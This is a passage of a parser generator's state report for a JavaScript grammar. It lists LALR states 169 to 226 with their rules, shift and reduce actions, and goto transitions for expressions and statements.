LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 283 - -state 169 - - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" _ BitwiseANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 284 - -state 170 - - 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" _ BitwiseXORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 285 - -state 171 - - 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND _ BitwiseORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 286 - -state 172 - - 188) LogicalORExprNoBF : LogicalORExprNoBF OR _ LogicalANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 287 - -state 173 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" _ AssignmentExpr ":" AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 288 - ConditionalExpr go to state 109 - -state 174 - - 218) ExprNoBF : ExprNoBF "," _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 289 - -state 175 - - 239) ExprStatement : ExprNoBF ";" _ - - $default reduce using rule 239 (ExprStatement) - - -state 176 - - 240) ExprStatement : ExprNoBF error _ - - $default reduce using rule 240 (ExprStatement) - - -state 177 - - 219) Block : "{" SourceElements _ "}" - - "}" shift, and go to state 290 - - -state 178 - - 220) VariableStatement : VAR VariableDeclarationList _ ";" - 221) VariableStatement : VAR VariableDeclarationList _ error - 223) VariableDeclarationList : VariableDeclarationList _ "," VariableDeclaration - - error shift, and go to state 292 - "," shift, and go to state 293 - ";" shift, and go to state 291 - - -state 179 - - 222) VariableDeclarationList : VariableDeclaration _ - - $default reduce using rule 222 (VariableDeclarationList) - - -state 180 - - 226) VariableDeclaration : IDENT _ - 227) VariableDeclaration : IDENT _ Initializer - - "=" shift, and go to state 295 - $default reduce using rule 226 (VariableDeclaration) - - Initializer go to state 294 - -state 181 - - 230) ConstStatement : CONST ConstDeclarationList _ ";" - 231) ConstStatement : CONST ConstDeclarationList _ error - 233) ConstDeclarationList : ConstDeclarationList _ "," ConstDeclaration - - error shift, and go to state 297 - "," shift, and go to state 298 - ";" shift, and go to state 296 - - -state 182 - - 232) ConstDeclarationList : ConstDeclaration _ - - $default reduce using rule 232 (ConstDeclarationList) - - -state 183 - - 234) ConstDeclaration : IDENT _ - 235) ConstDeclaration : IDENT _ Initializer - - "=" shift, and go to state 295 - $default reduce using rule 234 (ConstDeclaration) - - Initializer go to state 299 - -state 184 - - 241) IfStatement : IF "(" _ Expr ")" Statement - 242) IfStatement : IF "(" _ Expr ")" Statement ELSE Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 300 - -state 185 - - 243) IterationStatement : DO Statement _ WHILE "(" Expr ")" ";" - 244) IterationStatement : DO Statement _ WHILE "(" Expr ")" error - - WHILE shift, and go to state 301 - - -state 186 - - 245) IterationStatement : WHILE "(" _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 302 - -state 187 - - 246) IterationStatement : FOR "(" _ ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement - 247) IterationStatement : FOR "(" _ VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement - 248) IterationStatement : FOR "(" _ LeftHandSideExpr IN Expr ")" Statement - 249) IterationStatement : FOR "(" _ VAR IDENT IN Expr ")" Statement - 250) IterationStatement : FOR "(" _ VAR IDENT InitializerNoIn IN Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 316 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 253 (ExprNoInOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 303 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 313 - ExprNoIn go to state 314 - ExprNoInOpt go to state 315 - -state 188 - - 255) ContinueStatement : CONTINUE ";" _ - - $default reduce using rule 255 (ContinueStatement) - - -state 189 - - 256) ContinueStatement : CONTINUE error _ - - $default reduce using rule 256 (ContinueStatement) - - -state 190 - - 257) ContinueStatement : CONTINUE IDENT _ ";" - 258) ContinueStatement : CONTINUE IDENT _ error - - error shift, and go to state 318 - ";" shift, and go to state 317 - - -state 191 - - 259) BreakStatement : BREAK ";" _ - - $default reduce using rule 259 (BreakStatement) - - -state 192 - - 260) BreakStatement : BREAK error _ - - $default reduce using rule 260 (BreakStatement) - - -state 193 - - 261) BreakStatement : BREAK IDENT _ ";" - 262) BreakStatement : BREAK IDENT _ error - - error shift, and go to state 320 - ";" shift, and go to state 319 - - -state 194 - - 214) Expr : Expr _ "," AssignmentExpr - 265) ReturnStatement : RETURN Expr _ ";" - 266) ReturnStatement : RETURN Expr _ error - - error shift, and go to state 322 - "," shift, and go to state 213 - ";" shift, and go to state 321 - - -state 195 - - 263) ReturnStatement : RETURN ";" _ - - $default reduce using rule 263 (ReturnStatement) - - -state 196 - - 264) ReturnStatement : RETURN error _ - - $default reduce using rule 264 (ReturnStatement) - - -state 197 - - 267) WithStatement : WITH "(" _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 323 - -state 198 - - 268) SwitchStatement : SWITCH "(" _ Expr ")" CaseBlock - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 324 - -state 199 - - 214) Expr : Expr _ "," AssignmentExpr - 278) ThrowStatement : THROW Expr _ ";" - 279) ThrowStatement : THROW Expr _ error - - error shift, and go to state 326 - "," shift, and go to state 213 - ";" shift, and go to state 325 - - -state 200 - - 280) TryStatement : TRY Block _ FINALLY Block - 281) TryStatement : TRY Block _ CATCH "(" IDENT ")" Block - 282) TryStatement : TRY Block _ CATCH "(" IDENT ")" Block FINALLY Block - - CATCH shift, and go to state 328 - FINALLY shift, and go to state 327 - - -state 201 - - 283) DebuggerStatement : DEBUGGER ";" _ - - $default reduce using rule 283 (DebuggerStatement) - - -state 202 - - 284) DebuggerStatement : DEBUGGER error _ - - $default reduce using rule 284 (DebuggerStatement) - - -state 203 - - 285) FunctionDeclaration : FUNCTION IDENT _ "(" ")" "{" FunctionBody "}" - 286) FunctionDeclaration : FUNCTION IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}" - - "(" shift, and go to state 329 - - -state 204 - - - $default accept - - -state 205 - - 277) LabelledStatement : IDENT ":" Statement _ - - $default reduce using rule 277 (LabelledStatement) - - -state 206 - - 29) Property : IDENT _ ":" AssignmentExpr - 32) Property : IDENT _ IDENT "(" ")" "{" FunctionBody "}" - 33) Property : IDENT _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 331 - ":" shift, and go to state 330 - - -state 207 - - 30) Property : STRING _ ":" AssignmentExpr - - ":" shift, and go to state 332 - - -state 208 - - 31) Property : NUMBER _ ":" AssignmentExpr - - ":" shift, and go to state 333 - - -state 209 - - 34) PropertyList : Property _ - - $default reduce using rule 34 (PropertyList) - - -state 210 - - 35) PropertyList : PropertyList _ "," Property - 38) PrimaryExpr : "{" PropertyList _ "}" - 39) PrimaryExpr : "{" PropertyList _ "," "}" - - "}" shift, and go to state 335 - "," shift, and go to state 334 - - -state 211 - - 37) PrimaryExpr : "{" "}" _ - - $default reduce using rule 37 (PrimaryExpr) - - -state 212 - - 44) PrimaryExprNoBrace : "(" Expr ")" _ - - $default reduce using rule 44 (PrimaryExprNoBrace) - - -state 213 - - 214) Expr : Expr "," _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 336 - -state 214 - - 56) MemberExpr : MemberExpr "[" _ Expr "]" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - Expr go to state 337 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 215 - - 57) MemberExpr : MemberExpr "." _ IDENT - - IDENT shift, and go to state 338 - - -state 216 - - 67) CallExpr : MemberExpr Arguments _ - - $default reduce using rule 67 (CallExpr) - - -state 217 - - 56) MemberExpr : MemberExpr _ "[" Expr "]" - 57) MemberExpr : MemberExpr _ "." IDENT - 58) MemberExpr : NEW MemberExpr _ Arguments - 63) NewExpr : MemberExpr _ - - "(" shift, and go to state 119 - "[" shift, and go to state 214 - "." shift, and go to state 215 - $default reduce using rule 63 (NewExpr) - - Arguments go to state 339 - -state 218 - - 64) NewExpr : NEW NewExpr _ - - $default reduce using rule 64 (NewExpr) - - -state 219 - - 68) CallExpr : CallExpr Arguments _ - - $default reduce using rule 68 (CallExpr) - - -state 220 - - 69) CallExpr : CallExpr "[" _ Expr "]" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - Expr go to state 340 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 221 - - 70) CallExpr : CallExpr "." _ IDENT - - IDENT shift, and go to state 341 - - -state 222 - - 84) PostfixExpr : LeftHandSideExpr PLUSPLUS _ - - $default reduce using rule 84 (PostfixExpr) - - -state 223 - - 85) PostfixExpr : LeftHandSideExpr MINUSMINUS _ - - $default reduce using rule 85 (PostfixExpr) - - -state 224 - - 196) AssignmentExpr : LeftHandSideExpr AssignmentOperator _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 342 - -state 225 - - 103) MultiplicativeExpr : MultiplicativeExpr "*" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 343 - -state 226 - - 104) MultiplicativeExpr : MultiplicativeExpr "/" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - 